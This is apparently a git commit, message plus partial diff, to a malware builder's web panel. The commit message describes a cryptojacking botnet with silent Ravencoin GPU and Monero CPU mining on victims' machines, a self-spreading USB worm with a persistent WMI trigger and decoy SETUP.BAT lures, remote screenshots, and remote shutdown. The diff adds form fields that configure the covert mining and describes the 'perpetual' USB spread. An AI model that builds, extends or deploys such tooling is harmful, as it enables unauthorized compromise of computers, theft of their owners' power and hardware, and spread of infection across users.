Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.

- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked
This commit is contained in:
AetherForge
2026-06-02 21:50:34 -07:00
parent 41b5ec7a88
commit ca66f5d048
34 changed files with 2369 additions and 277 deletions

View File

@@ -30,6 +30,7 @@ import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../compone
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import DownloadButton from '../components/DownloadButton';
import PoolPresetPicker from '../components/PoolPresetPicker';
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
import { useForge } from '../context/ForgeContext';
import {
fusionPayloadKind,
@@ -1133,6 +1134,73 @@ export default function BuilderPage() {
</div>
</div>
{/* ── GPU Mining (Ravencoin / KawPoW) ── */}
<div className="form-section">
<ForgeSectionHeader
title="GPU Mining — Ravencoin"
badge="baked"
description="Enable KawPoW GPU mining alongside Monero CPU mining. The agent auto-detects NVIDIA (T-Rex) or AMD (TeamRedMiner) and downloads the correct miner."
/>
<div className="form-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={!!form.gpu_enabled}
onChange={(e) => updateField('gpu_enabled', e.target.checked)}
/>
<span style={{ fontWeight: 600 }}>Enable GPU mining (Ravencoin)</span>
</label>
<p className="form-hint">
When enabled the agent detects GPU vendor, downloads the correct KawPoW miner, and runs it silently alongside the CPU Monero miner. Requires a discrete NVIDIA or AMD GPU on the target.
</p>
</div>
{form.gpu_enabled && (
<>
<div className="form-group">
<label className="label">Ravencoin Wallet Address <span className="badge-required">required</span></label>
<input
type="text"
className="input mono"
placeholder="R... (your RVN address)"
value={form.rvn_wallet ?? ''}
onChange={(e) => updateField('rvn_wallet', e.target.value)}
/>
<p className="form-hint">Your Ravencoin wallet address. Only Ravencoin (RVN) mainnet addresses are accepted by KawPoW pools.</p>
</div>
<div className="form-group">
<label className="label">Ravencoin Pools</label>
<RVNPoolPresetPicker
host={form.rvn_pool_host ?? ''}
port={form.rvn_pool_port ?? 6060}
tls={form.rvn_pool_tls ?? false}
pass={form.rvn_pool_pass ?? 'x'}
backups={form.rvn_backup_pools ?? []}
onChange={(next) => {
updateField('rvn_pool_host', next.rvn_pool_host);
updateField('rvn_pool_port', next.rvn_pool_port);
updateField('rvn_pool_tls', next.rvn_pool_tls);
updateField('rvn_backup_pools', next.rvn_backup_pools);
}}
/>
</div>
<div className="form-group">
<label className="label">RVN Pool Password</label>
<input
type="text"
className="input"
placeholder="x"
value={form.rvn_pool_pass ?? 'x'}
onChange={(e) => updateField('rvn_pool_pass', e.target.value)}
/>
<p className="form-hint">Most public KawPoW pools use <code>x</code>.</p>
</div>
</>
)}
</div>
<div className="form-section">
<ForgeSectionHeader
title="Deliverable"
@@ -2007,7 +2075,7 @@ export default function BuilderPage() {
</label>
{form.usb_spread && (
<div style={{ margin: '4px 0 2px 24px', padding: '6px 10px', background: 'rgba(255,180,0,0.1)', border: '1px solid rgba(255,180,0,0.4)', borderRadius: 4, fontSize: '0.82em', color: '#ffb400' }}>
Agent will silently copy itself to any USB drive plugged into an infected PC and install a permanent WMI trigger that survives reboots.
Perpetual chain agent silently copies itself to every USB drive inserted into any infected PC (including drives already plugged in at startup), installs a persistent WMI trigger, and drops a visible SETUP.BAT + folder icon so the next PC's user just clicks. Each new machine repeats the cycle forever.
</div>
)}
<FieldHint field="usb_spread" />